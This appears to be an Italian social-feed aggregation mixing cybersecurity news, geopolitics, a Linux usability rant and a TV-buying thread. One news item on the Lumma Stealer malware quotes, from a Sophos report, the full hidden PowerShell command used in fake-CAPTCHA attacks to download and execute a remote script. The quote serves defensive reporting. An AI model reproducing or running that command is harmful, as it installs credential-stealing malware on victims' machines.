Il vantaggio competitivo del fornitore conforme: come la NIS 2 premia chi investe in sicurezza
@Informatica (Italy e non Italy 😁)
In un contesto in cui la sicurezza della catena di approvvigionamento è ormai parte integrante della compliance normativa, il fornitore non è più un attore passivo. Ecco come può trasformare gli obblighi in un vantaggio
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Le solite sciocchezze #novax, che continuano a girare dopo anni e anni...
...per fortuna Bufale le smentisce, anche se in un mondo normale basterebbe il buon senso.
Attacchi informatici in Italia: parte l’OAD 2025, l’indagine più attesa sulla sicurezza digitale
L’OAD (Osservatorio Attacchi Digitali in Italia) è l’unica indagine in Italia che raccoglie dati sugli attacchi digitali intenzionali ai sistemi informativi e sulle relative misure di sicurezza, attraverso un questionario anonimo compilabile online. L’obiettivo è fornire un quadro aggiornato e realistico della situazione della sicurezza digitale nel Paese, utile sia per le aziende che per le pubbliche amministrazioni.
Struttura dell’indagine
Il Questionario si articola in due principali parti: quella sugli attacchi subiti e rilevati nel 2024, con approfondimenti “verticali” sugli attacchi ai siti e agli ambienti web del Sistema Informativo (SI) dell’azienda/ente rispondente, sulle applicazioni/servizi basati su Intelligenza Artificiale e sugli ambienti OT, Operational Technology eventualmente utilizzati dall’Azienda/Ente rispondente; e quella sulle misure di sicurezza digitali in uso, sia tecniche che organizzative.
Questa seconda parte è opzionale ma si suggerisce di compilarla per poter avere alla fine della compilazione una macro valutazione del livello di sicurezza digitale del SI oggetto delle risposte e, nel rispondere, farsi un quadro ed una veloce verifica delle principali misure di sicurezza tecniche ed organizzative che dovrebbero/potrebbero essere implementate in ogni moderno e sicuro SI.
Al termine della compilazione, i partecipanti ricevono una valutazione qualitativa del livello di sicurezza digitale del proprio sistema informativo.
Edizione 2025
L’edizione 2025 dell’OAD è attualmente in corso, rappresentando il 18° anno consecutivo di questa iniziativa. Il questionario è disponibile online e può essere compilato da responsabili IT, CISO, CIO e altri professionisti della sicurezza informatica. I risultati dell’indagine saranno presentati in un evento previsto per l’estate 2025.
Dove trovare i rapporti
I rapporti annuali dell’OAD, contenenti analisi dettagliate e dati statistici sugli attacchi digitali in Italia, sono disponibili gratuitamente sul sito ufficiale dell’iniziativa: www.oadweb.it. Questi documenti rappresentano una risorsa preziosa per comprendere l’evoluzione delle minacce informatiche nel contesto italiano.
Compila il rapporto relativo al 2025 : oadweb.it/LS2025/limesurvey/in…
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Lumma Stealer è tornato! Il malware che ruba tutto si evolve e diventa invisibile
Lumma Stealer è un noto malware specializzato nel furto di informazioni, attivo sin dalla metà del 2022. Negli ultimi mesi ha mostrato un’evoluzione significativa nelle sue modalità operative, adottando nuove tattiche, tecniche e procedure. Questa minaccia è sempre più presente nei report relativi agli incidenti di sicurezza informatica: solo nell’ultimo anno, sono state registrate migliaia di compromissioni attribuite al malware.
Si ritiene che abbia origini nell’ambiente cybercriminale russo e venga attualmente distribuito come Malware-as-a-Service (MaaS). I suoi creatori offrono aggiornamenti frequenti e assistenza agli utenti tramite canali Telegram e una documentazione ospitata su Gitbook. L’obiettivo principale di Lumma Stealer è l’esfiltrazione di dati sensibili, come credenziali di accesso, token di sessione, wallet di criptovalute e informazioni personali raccolte dai dispositivi infetti.
Ciò che rende Lumma particolarmente pericoloso sono le sue sofisticate tecniche di distribuzione, che di recente si sono espanse fino a includere l’ingegneria sociale attraverso false domande CAPTCHA e ingannevoli richieste di download. Questi metodi sfruttano la fiducia degli utenti nei processi di verifica di sicurezza più noti , inducendo le vittime a eseguire comandi dannosi sui propri sistemi.
I ricercatori di Sophos hanno identificato diverse campagne Lumma Stealer durante l’autunno e l’inverno 2024-25, documentando come le tattiche del malware si sono evolute per eludere il rilevamento. “Le variazioni che abbiamo riscontrato nel comportamento di Lumma Stealer sono significative per i difensori”, ha osservato il team Sophos Managed Detection and Response nel suo report, sottolineando che queste tecniche di distribuzione potrebbero essere facilmente adattate ad altri malware oltre a Lumma Stealer.
Un’innovazione particolarmente preoccupante riguarda l’abuso di Windows PowerShell attraverso pagine di verifica CAPTCHA ingannevoli.
Una casella di verifica dall’aspetto familiare (Fonte Sophos)
In questa catena di attacchi, alle vittime che visitano siti dannosi viene presentata una richiesta di verifica standard “Non sono un robot”, creando un falso senso di sicurezza e legittimità. Dopo aver cliccato sulla casella di verifica, gli utenti vengono reindirizzati a una seconda pagina che chiede loro di caricare il comando “Esegui” di Windows, quindi premere Ctrl+V seguito da Invio.
La successiva richiesta di “controllo di sicurezza” è un po’ insolita, ma abbastanza semplice per gli utenti incauti (Fonte Sophos)
Questa azione apparentemente innocua in realtà incolla ed esegue un comando PowerShell nascosto che opera in una finestra nascosta:
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -
command $uR= hxxps[://]fixedzip[.]oss-ap-southeast5[.]aliyuncs[.]com/n
ew-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t
=$reS.Content; iex $t
L’esecuzione di questo comando avvia un sofisticato processo di attacco multifase. Lo script recupera componenti malware aggiuntivi dai server di comando e controllo, scaricando, estraendo ed eseguendo il payload principale di Lumma Stealer. Una volta attivo, questo malware accede sistematicamente ai dati del browser, come evidenziato nella Figura 6, dove Autolt3.exe accede ai dati di accesso e ai cookie di Chrome.
Flusso di attacco con abuso CAPTCHA (Fonte Sophos)
Ciò che rende questo vettore di attacco particolarmente efficace è l’impiego della crittografia AES per nascondere i payload successivi. Il malware impiega sofisticate tecniche di offuscamento, tra cui l’impiego di vettori di inizializzazione e complesse routine di decrittazione, per eludere le tradizionali misure di sicurezza. Questa combinazione di ingegneria sociale e metodi tecnici avanzati rappresenta un’evoluzione significativa nelle capacità di Lumma Stealer.
Gli esperti di sicurezza raccomandano di implementare soluzioni di protezione degli endpoint robuste con funzionalità di analisi comportamentale, poiché il solo rilevamento basato sulle firme si rivela inadeguato contro queste minacce in continua evoluzione.
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The ZX Spectrum Logic Analyzer
We know [Happy Little Diodes] frequently works with logic analyzer projects. His recent wireless logic analyzer for the ZX Spectrum is one of the oddest ones we’ve seen in a while. The heart of the system is an RP2040, and there are two boards. One board interfaces with the computer, and another hosts the controller.
The logic analyzer core is powered by a common open-source analyzer from [Eldrgusman]. This is one of the nice things about open source tools. Most people probably don’t need a logic analyzer that plugs directly into a ZX Spectrum. But if you do, it is fairly simple to repurpose a more generic piece of code and rework the hardware, if necessary.
You used to pay top dollar to get logic analyzers that “knew” about common CPUs and could capture their bus cycles, show execution, and disassemble the running code. But using a technique like this, you could easily decode any processor, even one you’ve designed yourself. All you need to do is invest the time to build it, if no one else has done it yet.
[Happy Little Diodes] is a big fan of the [Eldrgusman] design. What we would have given for a logic analyzer like this forty years ago.
youtube.com/embed/IHbIW8pi4Vo?…
Indipendenza tecnologica: La Cina Costruisce il suo Cloud solo con tecnologie domestiche
Basta Intel, AMD, NVIDIA. ora tutto è realizzato in casa come la soluzione cloud di Inspur, uno dei principali fornitori di infrastrutture server in Cina. L’azienda cinese Loongson ha annunciato un traguardo importante: più di cento prodotti diversi ora funzionano con processori LoongArch.
Progettata per rafforzare l’indipendenza tecnologica del Paese, la piattaforma LoongArch incorpora i migliori sviluppi di MIPS e RISC-V. I microcircuiti creati utilizzando questa tecnologia vengono già integrati in apparecchiature industriali, personal computer e server. Sebbene siano ancora indietro rispetto ai modelli di punta x86 e Arm, stanno rapidamente recuperando terreno.
Lo scorso autunno, le autorità cinesi hanno invitato le aziende locali a scegliere microprocessori prodotti locali, dichiarando inaffidabili quelli esteri. L’elenco attuale dei chip testati non include prodotti AMD e Intel, ma sono comparse due opzioni di uno sviluppatore nazionale.
La paranoia digitale oggi è il nuovo buon senso.
Tuttavia, anche gli utenti più convinti dell’idea di sovranità tecnologica non acquisteranno dispositivi che non supportino il software necessario. Tenendo conto di ciò, l’azienda pubblica sistematicamente un catalogo dei programmi supportati, indicando sia le soluzioni già pronte sia quelle in fase di finalizzazione.
Il nuovo catalogo di aprile è stato integrato con un sistema cloud di Inspur. La versione precedente del documento faceva riferimento alla soluzione completa di Lenovo per i data center.
La reputazione di Inspur è confermata dalla sua collaborazione con i più grandi giganti tecnologici cinesi: Alibaba e Tencent. Dopo che gli Stati Uniti hanno aggiunto l’azienda alla Entity List delle sanzioni nel 2023, la sua capacità di collaborare con partner americani è stata seriamente limitata. Tuttavia, l’azienda serve con successo un’ampia base di clienti nazionali, offrendo sia hardware sia il suo sistema operativo proprietario InCloud OS per l’implementazione di servizi cloud.
L’integrazione di InCloud OS, basata sulle fondamenta di OpenStack, rafforza significativamente la posizione di LoongArch nel segmento dei sistemi ad alto carico. Di particolare interesse è il chip a 64 core recentemente presentato, che ha la capacità di installare due di questi chip in un unico sistema.
Nel mercato interno, l’ingegno tecnologico di Loongson si confronta con gli sviluppi di Alibaba e Huawei. Tuttavia, le loro soluzioni si basano sull’architettura Arm, che nelle attuali realtà geopolitiche potrebbe rivelarsi un punto debole.
Pechino sostiene attivamente i leader tecnologici nazionali sulla scena mondiale, sfruttando la situazione di stallo commerciale con Washington per rafforzare l’immagine di partner affidabile. Questo approccio potrebbe anche aiutare Loongson ad espandere la sua presenza internazionale.
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Dobbiamo tollerare gli intolleranti? – Ben(e)detto
@Politica interna, europea e internazionale
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Liberato il soldato Edan Alexander, ma a Gaza si continua a morire
@Notizie dall'Italia e dal mondo
Il rilascio del militare israelo-statunitense è un gesto di buona volontà verso Trump. Nella Striscia però nulla cambia. L’Unicef lancia l’allarme: 71.000 bambini rischiano la malnutrizione acuta
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Scuola di Liberalismo 2025 – Messina: Annamaria ANSELMO: «Discorso sulla servitù volontaria» (Étienne de La Boétie)
@Politica interna, europea e internazionale
Ottavo appuntamento dell’edizione 2025 della Scuola di Liberalismo di Messina, promossa dalla Fondazione Luigi Einaudi ed organizzata in collaborazione con l’Università degli Studi di
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Il PKK depone le armi e si dissolve. E’ la strada giusta la questione curda?
@Notizie dall'Italia e dal mondo
Una svolta che non scioglie i nodi della questione curda in Turchia e nella regione. Incerta la sorte del leader Ocalan in prigione da decenni. Interrogativi sul ruolo delle milizie YPG nel Rojava
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#USA e #Israele, il cuneo di #Gaza
USA e Israele, il cuneo di Gaza
Il fronte filo-sionista e i media ufficiali in Occidente sono in pieno fermento da alcuni giorni per la possibile clamorosa rottura che si starebbe consumando tra il presidente americano Trump e il governo di ultra-destra israeliano del primo ministr…www.altrenotizie.org
Dobbiamo riflettere bene su cosa sta succedendo.
Perché se ci siamo (giustamente) indignati quando le big tech statunitensi hanno ritirato le politiche di inclusione, perché dovremmo indignarci meno se la stessa cosa accade in casa nostra?
Quale sarà la prossima azienda a farlo?
Segno, purtroppo, che "il male" non è solo oltreoceano, c'è l'abbiamo qui accanto alla nostra porta, restiamo vigili.
900 People Are Collectively Driving an 'Internet Roadtrip' on Google Street View
The new site is a cozy and chaotic sucessor to 'Twitch plays Pokémon.Matthew Gault (404 Media)
Folgiero accelera su difesa e underwater. I numeri del primo trimestre di Fincantieri
@Notizie dall'Italia e dal mondo
Nel primo trimestre del 2025 Fincantieri consolida il proprio ruolo di attore strategico per la sicurezza europea. Il gruppo guidato da Pierroberto Folgiero chiude il periodo con ricavi pari a 2,376 miliardi di euro, in crescita del 35% rispetto allo
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Il formato Weimar+ prende forma. Difesa e sicurezza comune fuori dai vincoli Ue
@Notizie dall'Italia e dal mondo
I capi delle diplomazie di sei tra i maggiori Paesi europei – Francia, Germania, Italia, Polonia, Spagna e Regno Unito – insieme all’Alto rappresentante dell’Unione europea, Kaja Kallas, si sono incontrati oggi nella capitale britannica per un vertice incentrato
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La sicurezza globale in salsa cinese. Cosa dice il nuovo Libro Bianco di Xi Jinping
@Notizie dall'Italia e dal mondo
Il 12 maggio 2025, l’Ufficio Informazioni del Consiglio di Stato cinese ha pubblicato il Libro Bianco sulla “Sicurezza nazionale della Cina nella nuova era”, un documento strategico che delinea le ambizioni e le direttrici della politica di difesa di
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Attenzione!
È disponibile il nuovo numero della newsletter del Ministero dell’Istruzione e del Merito.
Ministero dell'Istruzione
#NotiziePerLaScuola È disponibile il nuovo numero della newsletter del Ministero dell’Istruzione e del Merito.Telegram
Nello spazio espositivo del MIM, presso il padiglione Oval, saranno realizzate attività informative per i docenti, gli studenti e le famiglie con un programma di oltre 40 eventi…
Ministero dell'Istruzione
Dal 15 al 19 maggio il #MIM sarà presente al Salone del Libro di Torino! Nello spazio espositivo del MIM, presso il padiglione Oval, saranno realizzate attività informative per i docenti, gli studenti e le famiglie con un programma di oltre 40 eventi…Telegram
freezonemagazine.com/rubriche/…
Le mappe sono in scale precise di centimetri. Le mappe segnano strade, svincoli, ponti. Le mappe hanno colori per indicare la pianura, la collina, la montagna. Le mappe sono divise in quadrati, per trovare un luogo basta incrociare le lettere con i numeri. Le mappe sono chiare, semplici, leggibili. Il mondo esterno invece è concavo, […]
L'articolo Mappe – prima parte proviene da FREE ZONE MAGAZINE
Le mappe sono in
Papa Robert Francis Prevost, un Leone antico per nuovi ponti
@Notizie dall'Italia e dal mondo
Dalla doppia cittadinanza USA-Perù alla promessa di un pontificato di dialogo e giustizia sociale, Leone XIV si presenta come un papa-ponte tra Americhe, memorie del Concilio e sfide del presente, in un Vaticano attraversato da tensioni geopolitiche, scandali e spinte riformatrici
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“Energia e infrastrutture: il modello pubblico e privato”. L’evento finale Scuola Politica “Vivere nella Comunità”
@Politica interna, europea e internazionale
E’ terminata la quinta edizione del prestigioso ciclo di studi promosso dalla Scuola Politica “Vivere nella Comunità”, fondata da Pellegrino Capaldo, Sabino Cassese, Marcello
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Poliversity - Università ricerca e giornalismo reshared this.
freezonemagazine.com/news/sara…
In libreria dal 16 maggio 2025 L’esordio narrativo, sorprendente ed emozionante, di una delle voci più interessanti del nuovo giornalismo culturale americano. Due generazioni di donne a confronto in un’epopea familiare e musicale fatta di passioni, scontri, bugie e segreti e di interrogativi sul ruolo dell’amore e su quello dell’arte La storia inizia a New […]
L'articolo Sarah Seltzer – Singer Sis
India-Pakistan: tregua fragile tra attacchi, mediazioni negate e censura
@Notizie dall'Italia e dal mondo
Dopo giorni di scontri armati e accuse incrociate, i due Paesi hanno annunciato un cessate il fuoco mentre restano dubbi sulle responsabilità e sulla tenuta della tregua
L'articolo India-Pakistan: tregua fragile tra attacchi, mediazioni negate e censura proviene da
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Il 9 maggio di ieri e di oggi
Il 9 maggio di ieri e di oggi
Per celebrare l’80º anniversario della Grande Vittoria, ignorando le minacce di Kiev, sono arrivati al Cremlino presidenti, ministri e ambasciatori di 22 paesi, in rappresentanza di oltre il 60% della popolazione mondiale.www.altrenotizie.org
Grazie a @Valter Vico per l'invito e a Shiatsu Milano Editore per l'ospitalità!
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Consiglio per acquisto televisore
Da un paio di giorni il mio televisore si "dimentica" la password per collegarsi al mio telefonino che uso come hot spot (in casa non ho Wi-Fi né rete cablata, faccio tutto con la connessione dati del telefonino). L'ho aperto per vedere se c'era qualche pila a bottone da cambiare ma non ne ho viste.
Io uso il televisore SOLO per vedere Netflix quindi al momento ogni volta che lo accendo devo andare in configurazione e impostare nuovamente la password, operazione resa noiosa dal fatto che ho a disposizione solo una tastiera virtuale su cui andare a cercare lettere e numeri spostandomi con i tasti freccia del telecomando.
Proprio in questi giorni alla COOP c'è un'offerta per un Saba SA32B46 a 99 euro, sul sito di Mediaworld lo vendono a 194. Mi sembra una buona occasione, a voi?
Il problema è che questo televisore non ha il Wi-Fi ma solo la presa Ethernet quindi così com'è non me ne farei assolutamente nulla.
Cosa dovrei comprare secondo voi per trasformare quella presa Ethernet in un Wi-Fi con cui collegarlo al mio telefonino in tethering?
Se ne valesse la pena potrei comprare il televisore più il "pezzo mancante".
Grazie.
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Ti racconto la mia esperienza con linux e perché NON E' UN'ALTERNATIVA VALIDA (per me e altri per professionisti).
Dopo essermi riavvicinato a Linux a seguito di qualche anno di pausa, posso esprimere un parere che sarà senz'altro impopolare, severo, ma è quello che penso.
Il mio asus di tre anni fa ormai arranca con Windows 11. Un po' meglio dopo avere disattivato i servizi di indicizzazione (almeno, in questo modo, è diventato usabile).
Il fatto che stia rallentando a mio avviso è uno scandalo dopo soli 3 anni, ma mi aveva spinto a cercare alternative con Linux, con il quale il portatile, letteralmente, vola (con qualsiasi distribuzione). Questo aspetto continua a sorprendermi, anche se sapevo che sarebbe andata così resta comunque un punto a favore.
Il problema è un altro: l'insormontabile limite strutturale di semplicità di utilizzo, per un utente che non sia...non dico solo esperto, ma tanto esperto.
Finché si fa un utilizzo di base è tutto splendido e abbastanza abbordabile, ma quando cominci a fare degli utilizzi specifici, tanti auguri. Ed è per questo che la situazione è ancora più tragica nel contesto di un mondo in cui dipendiamo dagli USA per qualsiasi cosa, e purtroppo per me i sistemi GNU/Linux non sono ancora una valida alternativa per la massa.
Esempio per capirci meglio. Ho installato e provato le seguenti distribuzioni: Opensuse (LEAP, Tumbleweed), Fedora, Debian, MX Linux, Mageia, Linux Mint Debian Edition, Ufficio Zero, Xubuntu, Manjaro, Tuxedo. Se non erro sono quasi tutte distribuzioni "maggiori", o che derivano da esse. Alla fine ho scelto Mint perché è stata la distribuzione in cui più facilmente sono riuscito ad installare la maggior parte dei programmi che mi servono senza impazzire). Ma parlo solo dell'installazione!
Bene, oltre al fatto che ciascuna di questa ha comandi diversi per installare pacchetti (e già qui potremmo discutere, un utente comune non può e non deve sbattersi per capire come installare cosa gli serve). I dolori son venuti dopo l'installazione, infatti.
Visto che sono un utente un po' più evoluto della media, ho esigenze diverse: VMWare Workstation, un programma di video editing serio, ecc. (programmi per fotografia non li prendo neanche in considerazione, perché su Linux il meglio che esiste è GIMP, RawTherapee e Darktable, e per me non sono all'altezza della suite Adobe o di Luminar).
Bene, dicevamo: ecco le mie esigenze di Youtuber/Fotografo/Podcaster:
1) sviluppo foto veloce, efficiente, con funzioni AI avanzate
2) editing video semi-professionale
3) dirette su Youtube/Facebook
4) Virtualizzazione con VMWare (ho una certificazione VMWare).
5) Registrazione di podcast in modo professionale.
1: sviluppo foto. Come dicevo in altri post, purtroppo su Linux il mondo fotografico è rimasto indietro. Nei software proprietari non hai più bisogno di lavorare con maschere, maschere colore, maschere luminosità, selezioni con lazo, ecc. Sia i software di Adobe che quello di Luminar ti consentono di muovere un slider e (ad esempio) modificare tutto quello che è blu, o scurire un cielo troppo chiaro, o aumentare la luminosità soltanto degli oggetti in primo piano. Non devi selezionare nulla, è l'IA che capisce cosa è blu, cosa è lontano, che cosa è cielo, edificio, terreno.
Mi dispiace davvero, ma GIMP è ormai antico come concetto e ti impone di fare tutto questo lavoro manualmente, con livelli e altre cose tali per cui per sviluppare una foto per bene ci impieghi decine di minuti: non è pensabile per me tornare da un viaggio, sviluppare 800/1000 immagini e metterci 10 mesi. Darktable/RawTherapee funzionano anch'essi in modo "vecchio", non hanno una AI dietro.
2: Uso CapCut per editare i miei video, e non mi piace per niente perché è cinese e proprietario. Bene, mi sono detto, su Linux avrai delle alternative. Spoiler: no.
Non esiste niente che sia di utilizzo così immediato ma completo come CapCut.
Niente.
Ma, mi sono detto...ok, qui puoi fare uno sforzo. Vorrà dire che imparerai ad usare qualcosa di diverso. Vorrà dire che tribolerai un po' di più e che nei tuoi video ci saranno meno cose, ma può valere la pena.
Ho provato ad installare DaVinci Resolve, che ho usato in passato ma su Windows persino l'interfaccia andava a scatti.
Buone notizie? Neanche per idea, il software si installava ma non partiva. Dopo ore di ricerche su internet ho capito quali driver nvidia servissero su Linux e come installarli, poi Resolve partiva ma ora i video importati non si vedono, rimangono completamente oscuri e il programma si pianta. Inutile dirvi che con gli stessi video su Windows funziona tutto, al netto della pachidermica interfaccia.
Pazienza, mi son detto, userò KDEnlive! Sì, se avesse ciò che serve. Quando provi ad utilizzarlo qua e là compaiono scritte che indicano che alcune funzioni non sono disponibili perché manca (ad esempio) il pacchetto per il riconoscimento vocale o quello per l'italiano. Sì, benissimo, ma almeno dimmi il nome pacchetti!
La voglia è quella di lasciar perdere, non si possono buttare via ore e ore in questo modo. Le ore voglio dedicarle a fare video editing e imparare quello.
3) installato OBS studio, tutto fantastico ma non c'è modo di fargli prendere l'audio della mia scheda audio behringer 404HD (ovviamente, è selezionata e aggiunta alla scena, ma è muta). Anche qui, non ho tutte queste ore per cercare sui forum la potenziale causa. Se apro banalmente audacity funziona, su OBS no.
4) VMware Workstation sono riuscito a farlo funzionare solo su MX Linux e Mint. bastava installare il pacchetto gcc e i sorgenti del kernel. Questa cosa la sapevo perché avendo la certificazione l'avevo trovata nei testi di studio. Per le altre distro...boh, come si chiameranno i pacchetti? Chi lo sa? Anche cercando, ho fatto molta fatica a trovare queste informazioni e in ogni caso l'installazione di VMWare Workstation non andava comunque a buon fine.
5) Podcast. Buone notizie, uso già reaper! Peccato che i plugin VST che uso non vengano visti da Reaper su Linux. Di nuovo, non ho voglia di capire perché. Nei log vedo che reaper se li aspetta in un certo percorso, ma anche mettendoli lì o facendo un link simbolico non li vede.
Basta. Basta così.
La cosa che fa più incazzare è che Reaper, Reaper, OBS e KDEnlive su Windows vanno benissimo al primo colpo, Out of the box, così come VMWare Workstation, ma il punto è che i primi 4 sono open source, mi aspetterei che fosse più semplice usarli su Linux, e invece no. Ecco cosa mi fa pensare.
Certo, dipenderà anche dalle aziende che fanno software, ad es. Da Vinci Resolve potrebbe prevedere un pacchetto per distribuzioni debian-like già completo e funzionante, ma il punto è un altro: può un utente sbattersi in questo modo?
A mio avviso no, e finché Il mondo Linux non risolve questo problema, un uso professionale lo vedo davvero difficile.
Qualcuno di voi lettori starà già pensando che il problema è mio, che sono io che non so come funzionano le cose, cosa devo installare, e quindi dovrei mettermi a studiare prima di criticare.
Per me, no. Un utente qualsiasi non può sbattersi in questo modo.
Se scelgo di fare il podcaster o il videomaker non posso essere obbligato ad imparare tutto il funzionamento del sistema operativo, le librerie, i pacchetti. Se sono uno youtuber e voglio fare una diretta, un video, un podcast, con Windows/Mac ho la vita semplice, con Linux no.
Secondo voi la massa cosa sceglierà?
Se vi è parso uno sfogo è perché lo è. Perdonatemi.
Lo dico con tanto dispiacere, ma io tutto questo tempo e voglia non ce l'ho, perché queste cose le faccio nel tempo libero e non può diventare una via crucis.
Continuerò ad utilizzare sistemi GNU/Linux quando posso, magari sui vecchi dispositivi che uso per navigare, ma un utilizzo professionale, per me e per le mie esigenze, rimane un sogno. Spero che la comunità FOSS rifletta su questo: anziché dedicare tempo ad altro (vedi l'esistenza di migliaia di distribuzioni), secondo me sarebbe preferibile lavorare per ottimizzare, semplificare, rendere la vita davvero semplice agli utenti.
Ho lasciato un mondo linux che era già complesso qualche anno fa, per ritrovarlo oggi ancora più complesso. Finché non si semplificherà pesantemente, saremo sempre legati a Windows/Mac, agli USA, ai sistemi proprietari.
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Simon Perry likes this.
@Emanuele grazie.
Più che altro, penso io, è inutile arrampicarsi sugli specchi e voler adottare per forza l'open source se un programma proprietario ti risparmia tempo, fatica, lavoro.
Chi lavora con il software non può permettersi di essere meno competitivo o metterci più tempo per fare qualcosa per usare a tutti i costi FOSS.
Quando facevo il sistemista ho installato centinaia di server web (o db server) linux con distribuzioni diverse, non solo per una questione di licenze ma perché per quella funzione linux è a dir poco perfetto.
Quando il fornitore del software che usi è un'azienda come Canon, Philips, e ti dice che il suo prodotto gira solo su windows, non ci puoi fare nulla, perché un'alternativa non esiste (penso al biomedicale, ad esempio). Ma anche banalmente active directory di Microsoft, fare tutto quello che fa AD con Linux sarebbe molto più dispendioso in termini di tempo.
Più in piccolo, vale la stessa cosa. Se devi scrivere una lettera o fare grafici e tabelle, va benissimo, ma se ti serve una cosa come Power Bi, c'è poco da fare: o usi Windows o usi Windows.
Tutto qua.
Sì, lo ammetto: il mio post era anche il mezzo sfogo di un fotografo frustrato perché i programmi che gli fanno editare uno scatto in 10 secondi anziché mezz'ora, per Linux non esistono, ma era anche più di questo. Sono contento che almeno tu e qualcun altro lo avete colto.
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Rinaldo Giorgetti
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in reply to Rinaldo Giorgetti • •@Rinaldo Giorgetti
Al mio televisore sto aggiornando il SW, dopodiché ripristinerò anche la configurazione di fabbrica, ma mi serve un piano B...
StatusSquatter 🍫
in reply to Max - Poliverso 🇪🇺🇮🇹 • • •kanedatux
in reply to Max - Poliverso 🇪🇺🇮🇹 • • •Max - Poliverso 🇪🇺🇮🇹
in reply to Max - Poliverso 🇪🇺🇮🇹 • •Da qualche giorno ha ricominciato a ricordarsela, niente aggiornamento software in mezzo e niente modifiche alla configurazione.
Boh...
E grazie per i consigli.
Marco
in reply to Max - Poliverso 🇪🇺🇮🇹 • • •Max - Poliverso 🇪🇺🇮🇹
in reply to Marco • •@Marco
Per adesso lascio tutto com'è, poi Apple penso al prezzo e mi vengono i brividi 😁
Marco
in reply to Max - Poliverso 🇪🇺🇮🇹 • • •L'ho comperato a mia volta su ebay per pochi soldi.